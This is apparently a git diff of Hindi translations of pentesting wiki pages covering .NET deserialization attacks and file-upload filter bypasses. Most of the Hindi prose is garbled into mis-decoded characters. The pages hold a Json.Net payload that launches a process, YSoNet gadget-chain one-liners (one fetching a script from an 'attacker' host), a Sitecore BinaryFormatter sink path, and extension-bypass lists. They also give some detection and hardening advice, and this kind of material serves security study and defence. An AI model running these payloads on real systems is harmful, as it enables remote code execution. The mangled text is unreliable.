рд╕рд┐рд░реНрдлрд╝ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ deserialize рдХрд░рдХреЗ рд╣рдо **RCE** рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -### Json.Net example +### Json.Net рдЙрджрд╛рд╣рд░рдг -рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрд╕ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА object рдХреЛ **serialize/deserialize** рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрд╕ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдХреИрд╕реЗ **serialize/deserialize** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```java using System; using Newtonsoft.Json; @@ -147,7 +145,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -рдЗрд╕ рдХреЛрдб рдореЗрдВ рдЖрдк **test the exploit**, рдмрд╕ рдЗрд╕реЗ рдЪрд▓рд╛рдПрдБ рдФрд░ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ calc рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +рдЗрд╕ рдХреЛрдб рдореЗрдВ рдЖрдк **test the exploit** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ тАФ рдмрд╕ рдЗрд╕реЗ рдЪрд▓рд╛рдПрдБ рдФрд░ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ calc рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ: ```java using System; using System.Text; @@ -184,27 +182,27 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` -## рдЙрдиреНрдирдд .NET Gadget Chains (YSoNet & ysoserial.net) +## Advanced .NET Gadget Chains (YSoNet & ysoserial.net) -ObjectDataProvider + ExpandedWrapper technique рдЬреЛ рдКрдкрд░ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреЗрд╡рд▓ рдЙрди рдХрдИ gadget chains рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рддрдм рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ application **unsafe .NET deserialization** рдХрд░рддрд╛ рд╣реИред Modern red-team tooling рдЬреИрд╕реЗ **[YSoNet](https://github.com/irsdl/ysonet)** (рдФрд░ рдкреБрд░рд╛рдиреЗ [ysoserial.net](https://github.com/pwntester/ysoserial.net)) рджрд░реНрдЬрдиреЛрдВ gadgets рдФрд░ serialization formats рдХреЗ рд▓рд┐рдП **ready-to-use malicious object graphs** рдХрд╛ рдирд┐рд░реНрдорд╛рдг рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВред +ObjectDataProvider + ExpandedWrapper рддрдХрдиреАрдХ рдЬреЛ рдКрдкрд░ рдкреНрд░рд╕реНрддреБрдд рдХреА рдЧрдИ рд╣реИ, рдХреЗрд╡рд▓ рдЙрди MANY gadget chains рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рддрдм рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рдПрдкреНрд▓рд┐рдХреЗрд╢рди **unsafe .NET deserialization** рдХрд░рддрд╛ рд╣реИред рдЖрдзреБрдирд┐рдХ red-team tooling рдЬреИрд╕реЗ **YSoNet** (рдФрд░ рдкреБрд░рд╛рдирд╛ [ysoserial.net](https://github.com/pwntester/ysoserial.net)) рджрд░реНрдЬрдиреЛрдВ gadgets рдФрд░ serialization рдлрд╝реЙрд░реНрдореИрдЯреНрд╕ рдХреЗ рд▓рд┐рдП **ready-to-use malicious object graphs** рдмрдирд╛рдиреЗ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВред -рдиреАрдЪреЗ *YSoNet* рдХреЗ рд╕рд╛рде рднреЗрдЬреЗ рдЧрдП рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА chains рдХрд╛ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╕рдВрджрд░реНрдн рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рд╡реЗ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ рдФрд░ payloads рдЬрдирд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг commandsред +рдиреАрдЪреЗ *YSoNet* рдХреЗ рд╕рд╛рде рднреЗрдЬреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рдЪреЗрди рдХрд╛ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╕рдВрджрд░реНрдн рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ рдЗрд╕рдХрд╛ рддреНрд╡рд░рд┐рдд рд╕реНрдкрд╖реНрдЯрд┐рдХрд░рдг рдФрд░ payload рдЬрдирд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХрдорд╛рдВрдб рджрд┐рдП рдЧрдП рд╣реИрдВред -| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner | -|--------------|----------------------|--------------------|------------------| -| **TypeConfuseDelegate** | DelegateSerializationHolder рд░рд┐рдХреЙрд░реНрдб рдХреЛ рдХрд░рдкреНрдЯ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐, рдПрдХ рдмрд╛рд░ materialised рд╣реЛрдиреЗ рдкрд░, delegate рдХрд┐рд╕реА рднреА attacker рджреНрд╡рд╛рд░рд╛ рд╕рдкреНрд▓рд╛рдИ рдХрд┐рдП рдЧрдП method рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗ (рдЙрджрд╛. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | -| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рдХреЗ *bypass .NET тЙе4.8 type-filtering* рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рджрд┐рдП рдЧрдП class рдХреЗ **constructor** рдХреЛ рд╕реАрдзреЗ invoke рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдЪрд╛рд▓реВ рдХреЗ рджреМрд░рд╛рди C# file рдХреЛ **compile** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | -| **DataSetOldBehaviour** | `System.Data.DataSet` рдХреЗ **legacy XML** рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ `` / `` рдлреАрд▓реНрдб рднрд░рдХрд░ arbitrary types instantiate рдХрд░рддрд╛ рд╣реИ (рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ assembly рдХреЛ `--spoofedAssembly` рд╕реЗ рдлреЗрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "тАж" --spoofedAssembly mscorlib > payload.xml` | -| **GetterCompilerResults** | WPF-enabled runtimes (> .NET 5) рдкрд░ property getters рдХреЛ chain рдХрд░рддрд╛ рд╣реИ рдЬрдм рддрдХ рдХрд┐ `System.CodeDom.Compiler.CompilerResults` рддрдХ рди рдкрд╣реБрдБрдЪ рдЬрд╛рдП, рдлрд┐рд░ *compiles* рдпрд╛ `-c` рдХреЗ рд╕рд╛рде рджрд┐рдП рдЧрдП DLL рдХреЛ *loads* рдХрд░рддрд╛ рд╣реИ | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | -| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider` рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд┐рдпрдВрддреНрд░рд┐рдд arguments рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА arbitrary static method рдХреЛ call рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред YSoNet рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ `--xamlurl` variant рдЬреЛрдбрд╝рддрд╛ рд╣реИ рддрд╛рдХрд┐ malicious XAML рдХреЛ remote рдкрд░ host рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | -| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` рдореЗрдВ `ScriptBlock` embed рдХрд░рддрд╛ рд╣реИ рдЬреЛ рддрдм execute рд╣реЛрддрд╛ рд╣реИ рдЬрдм PowerShell рдЙрд╕ object рдХреЛ deserialise рдХрд░рддрд╛ рд╣реИ | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | +| Gadget Chain | рдореБрдЦреНрдп рд╡рд┐рдЪрд╛рд░ / рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡ | Common Serializers | YSoNet one-liner | +|--------------|------------------------|--------------------|------------------| +| **TypeConfuseDelegate** | `DelegateSerializationHolder` рд░рд┐рдХреЙрд░реНрдб рдХреЛ рдХрд░рдкреНрдЯ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐, materialise рд╣реЛрдиреЗ рдкрд░, delegate рдХрд┐рд╕реА рднреА attacker-supplied method (рдЙрджрд╛. `Process.Start`) рдХреА рдУрд░ рдкреЙрдЗрдВрдЯ рдХрд░реЗ | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ .NET тЙе4.8 рдХреЗ type-filtering рдХреЛ *bypass* рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рдХреНрд▓рд╛рд╕ рдХреЗ **constructor** рдХреЛ рд╕реАрдзреЗ invoke рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рд░рди-рдЯрд╛рдЗрдо рдкрд░ C# рдлрд╝рд╛рдЗрд▓ рдХреЛ **compile** рдХрд░ рд╕рдХрддрд╛ рд╣реИ | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | `System.Data.DataSet` рдХреЗ **legacy XML** рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ arbitrary types instantiate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `` / `` рдлрд╝реАрд▓реНрдбреНрд╕ рдХреЛ рднрд░рддрд╛ рд╣реИ (рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ `--spoofedAssembly` рд╕реЗ assembly рдХреЛ fake рдХрд░ рд╕рдХрддрд╛ рд╣реИ) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "тАж" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | WPF-enabled runtimes (> .NET 5) рдкрд░ property getters рдХреЛ chain рдХрд░рдХреЗ `System.CodeDom.Compiler.CompilerResults` рддрдХ рдкрд╣реБрдВрдЪрддрд╛ рд╣реИ, рдлрд┐рд░ `-c` рдХреЗ рд╕рд╛рде рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП DLL рдХреЛ *compile* рдпрд╛ *load* рдХрд░рддрд╛ рд╣реИ | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рдпрдВрддреНрд░рд┐рдд arguments рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА arbitrary static method рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред YSoNet рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ `--xamlurl` рд╡рд┐рдХрд▓реНрдк рдЬреЛрдбрд╝рддрд╛ рд╣реИ рддрд╛рдХрд┐ malicious XAML рдХреЛ рд░рд┐рдореЛрдЯрд▓реА host рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | `ScriptBlock` рдХреЛ `System.Management.Automation.PSObject` рдореЗрдВ embed рдХрд░рддрд╛ рд╣реИ рдЬреЛ PowerShell рджреНрд╡рд╛рд░рд╛ object рдХреЛ deserialize рдХрд░рдиреЗ рдкрд░ execute рд╣реЛрддрд╛ рд╣реИ | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] -> рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рднреА payloads **stdout рдкрд░ рд▓рд┐рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВ**, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдЕрдиреНрдп tooling (рдЙрджрд╛. ViewState generators, base64 encoders, HTTP clients) рдореЗрдВ pipe рдХрд░рдирд╛ trivial рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +> рд╕рднреА payloads рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ **stdout рдкрд░ рд▓рд┐рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВ**, рдЬрд┐рд╕рд╕реЗ рдЗрдиреНрд╣реЗрдВ рдЕрдиреНрдп tooling (рдЙрджрд╛. ViewState generators, base64 encoders, HTTP clients) рдореЗрдВ pipe рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред -### YSoNet рдмрдирд╛рдирд╛ / рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛ +### Building / Installing YSoNet -рдпрджрд┐ *Actions тЮЬ Artifacts* / *Releases* рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдХреЛрдИ pre-compiled binaries рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдирд┐рдореНрди **PowerShell** one-liner рдПрдХ build environment рд╕реЗрдЯ рдХрд░реЗрдЧрд╛, repository рдХреЛ clone рдХрд░реЗрдЧрд╛ рдФрд░ рд╕рдм рдХреБрдЫ *Release* mode рдореЗрдВ compile рдХрд░реЗрдЧрд╛: +рдпрджрд┐ *Actions тЮЬ Artifacts* / *Releases* рдХреЗ рддрд╣рдд рдХреЛрдИ pre-compiled binaries рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдирд┐рдореНрди **PowerShell** one-liner build рдкрд░реНрдпрд╛рд╡рд░рдг рд╕реЗрдЯрдЕрдк рдХрд░реЗрдЧрд╛, repository clone рдХрд░реЗрдЧрд╛ рдФрд░ рд╕рдм рдХреБрдЫ *Release* рдореЛрдб рдореЗрдВ compile рдХрд░реЗрдЧрд╛: ```powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; @@ -219,17 +217,17 @@ msbuild ysonet.sln -p:Configuration=Release The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`. ### рдбрд┐рдЯреЗрдХреНрд╢рди рдФрд░ рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ -* **рдкрддрд╛ рд▓рдЧрд╛рдПрдБ** `w3wp.exe`, `PowerShell.exe` рдХреЗ рдЕрдирдкреЗрдХреНрд╖рд┐рдд child processes, рдпрд╛ рдХрд┐рд╕реА рднреА рдкреНрд░реЛрд╕реЗрд╕ рдХрд╛ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ deserialising рдХрд░ рд░рд╣рд╛ рд╣реЛ (рдЬреИрд╕реЗ `MessagePack`, `Json.NET`)ред -* рд╕рдХреНрд╖рдо рдХрд░реЗрдВ рдФрд░ **type-filtering рд▓рд╛рдЧреВ/рдЕрдирд┐рд╡рд╛рд░реНрдп рдХрд░реЗрдВ** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) рдЬрдм рднреА legacy `BinaryFormatter` / `NetDataContractSerializer` рд╣рдЯрд╛рдпрд╛ рди рдЬрд╛ рд╕рдХреЗред -* рдЬрд╣рд╛рдБ рд╕рдВрднрд╡ рд╣реЛ, **`System.Text.Json`** рдпрд╛ **`DataContractJsonSerializer`** рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВ, whitelist-рдЖрдзрд╛рд░рд┐рдд converters рдХреЗ рд╕рд╛рдеред -* рдЙрди рд╡реЗрдм рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдХрднреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛ, рдЦрддрд░рдирд╛рдХ WPF assemblies (`PresentationFramework`, `System.Workflow.*`) рдХреЛ рд▓реЛрдб рд╣реЛрдиреЗ рд╕реЗ рд░реЛрдХреЗрдВред +* **рдкрддрд╛ рд▓рдЧрд╛рдПрдБ** рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдЪрд╛рдЗрд▓реНрдб рдкреНрд░реЛрд╕реЗрд╕ рдХреЗ рдХрд┐ `w3wp.exe`, `PowerShell.exe`, рдпрд╛ рдХреЛрдИ рднреА рдкреНрд░реЛрд╕реЗрд╕ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рджрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ deserialize рдХрд░ рд░рд╣рд╛ рд╣реЛ (рдЬреИрд╕реЗ `MessagePack`, `Json.NET`)ред +* рдЬрд╣рд╛рдБ рд╕рдВрднрд╡ рд╣реЛ `type-filtering` рдХреЛ рд╕рдХреНрд╖рдо рдФрд░ рд▓рд╛рдЧреВ рдХрд░реЗрдВ (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) рдЬрдм рднреА рдкреБрд░рд╛рдиреЗ `BinaryFormatter` / `NetDataContractSerializer` рдХреЛ рд╣рдЯрд╛рдпрд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХреЗред +* рдЬрд╣рд╛рдБ рд╕рдВрднрд╡ рд╣реЛ **`System.Text.Json`** рдпрд╛ **`DataContractJsonSerializer`** рдореЗрдВ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ-рдЖрдзрд╛рд░рд┐рдд converters рдХреЗ рд╕рд╛рде рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВред +* рдЙрди рд╡реЗрдм рдкреНрд░реЛрд╕реЗрд╕реЛрдВ рдореЗрдВ рдЦрддрд░рдирд╛рдХ WPF assemblies (`PresentationFramework`, `System.Workflow.*`) рдХреЗ рд▓реЛрдб рд╣реЛрдиреЗ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░реЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЗрдирдХреА рдЬрд╝рд░реВрд░рдд рдирд╣реАрдВ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред ## рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХрд╛ sink: Sitecore convertToRuntimeHtml тЖТ BinaryFormatter -рдПрдХ рд╡реНрдпрд╡рд╣рд╛рд░рд┐рдХ .NET sink рдЬреЛ рдкреНрд░рдорд╛рдгреАрдХреГрдд Sitecore XP Content Editor рдкреНрд░рд╡рд╛рд╣реЛрдВ рдореЗрдВ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИ: +рдПрдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ .NET sink рдЬреЛ рдкреНрд░рдорд╛рдгреАрдХреГрдд Sitecore XP Content Editor рдлреНрд▓реЛ рдореЗрдВ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -- Sink API: `Sitecore.Convert.Base64ToObject(string)` `new BinaryFormatter().Deserialize(...)` рдХреЛ wrap рдХрд░рддрд╛ рд╣реИред -- Trigger path: pipeline `convertToRuntimeHtml` тЖТ `ConvertWebControls`, рдЬреЛ рдПрдХ sibling element рдЦреЛрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ `id="{iframeId}_inner"` рд╣реИ рдФрд░ `value` attribute рдкрдврд╝рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ base64тАРencoded serialized data рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдо рдХреЛ string рдореЗрдВ cast рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ HTML рдореЗрдВ insert рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- Sink API: `Sitecore.Convert.Base64ToObject(string)` рд░реИрдк рдХрд░рддрд╛ рд╣реИ `new BinaryFormatter().Deserialize(...)`ред +- Trigger path: pipeline `convertToRuntimeHtml` тЖТ `ConvertWebControls`, рдЬреЛ рдПрдХ рд╕рд┐рдмрд▓рд┐рдВрдЧ рддрддреНрд╡ рдЦреЛрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ `id="{iframeId}_inner"` рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдПрдХ `value` attribute рдкрдврд╝рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ base64тАСencoded serialized data рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдо рдХреЛ string рдореЗрдВ cast рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ HTML рдореЗрдВ insert рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Minimal endтАСtoтАСend (authenticated): ``` @@ -248,7 +246,7 @@ GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.Fix ``` - Gadget: рдХреЛрдИ рднреА BinaryFormatter chain рдЬреЛ string рд▓реМрдЯрд╛рддрд╛ рд╣реИ (sideтАСeffects deserialization рдХреЗ рджреМрд░рд╛рди рдЪрд▓рддреЗ рд╣реИрдВ). See YSoNet/ysoserial.net to generate payloads. -рдПрдХ рдкреВрд░рд╛ chain рдЬреЛ preтАСauth рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░ Sitecore рдореЗрдВ HTML cache poisoning рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ sink рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ: +For a full chain that starts preтАСauth with HTML cache poisoning in Sitecore and leads to this sink: {{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index cef7f1ab0..099b25999 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -4,7 +4,7 @@ ## рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рд╕рд╛рдорд╛рдиреНрдп рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА -рдЕрдиреНрдп рдЙрдкрдпреЛрдЧреА extensions: +Other useful extensions: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ @@ -15,13 +15,13 @@ - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЪреЗрдХ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ +### Bypass file extensions checks -1. рдпрджрд┐ рд╡реЗ рд▓рд╛рдЧреВ рд╣реЛрдВ, рддреЛ **рдкрд╣рд▓реЗ рдмрддрд╛рдП рдЧрдП extensions** рдХреА **рдЬрд╛рдБрдЪ** рдХрд░реЗрдВред рдЙрдиреНрд╣реЗрдВ рдХреБрдЫ **uppercase letters** рдХреЗ рд╕рд╛рде рднреА рдЯреЗрд╕реНрдЯ рдХрд░реЗрдВ: _pHp, .pHP5, .PhAr ..._ -2. _рдПрдХреНрдЬреАрдХреНрдпреВрд╢рди рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рд╡реИрдз рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЬреЛрдбрд╝рдиреЗ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ (рдкрд╣рд▓реЗ рдмрддрд╛рдП рдЧрдП extensions рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ):_ +1. рдЕрдЧрд░ рд▓рд╛рдЧреВ рд╣реЛ, рддреЛ **рдкрд╣рд▓реЗ рдмрддрд╛рдИ рдЧрдИ extensions** рдХреА **рдЬрд╛рдБрдЪ** рдХрд░реЗрдВред рд╕рд╛рде рд╣реА рдХреБрдЫ **uppercase letters** рдХреЗ рд╕рд╛рде рднреА рдЯреЗрд╕реНрдЯ рдХрд░реЗрдВ: _pHp, .pHP5, .PhAr ..._ +2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_ - _file.png.php_ - _file.png.Php5_ -3. рдЕрдВрдд рдореЗрдВ **рд╡рд┐рд╢реЗрд╖ рдХреИрд░реЗрдХреНрдЯрд░** рдЬреЛрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рдЖрдк Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рднреА **ascii** рдФрд░ **Unicode** рдХреИрд░реЗрдХреНрдЯрд░ **bruteforce** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдкрд╣рд▓реЗ рдмрддрд╛рдП рдЧрдП **extensions** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ_) +3. рдЕрдВрдд рдореЗрдВ **special characters** рдЬреЛрдбрд╝рдХрд░ рднреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рдЖрдк Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рднреА **ascii** рдФрд░ **Unicode** characters рдХреЛ **bruteforce** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (_Note that you can also try to use the **previously** motioned **extensions**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ - _file._ - _file.php...._ - _file.pHp5...._ -4. 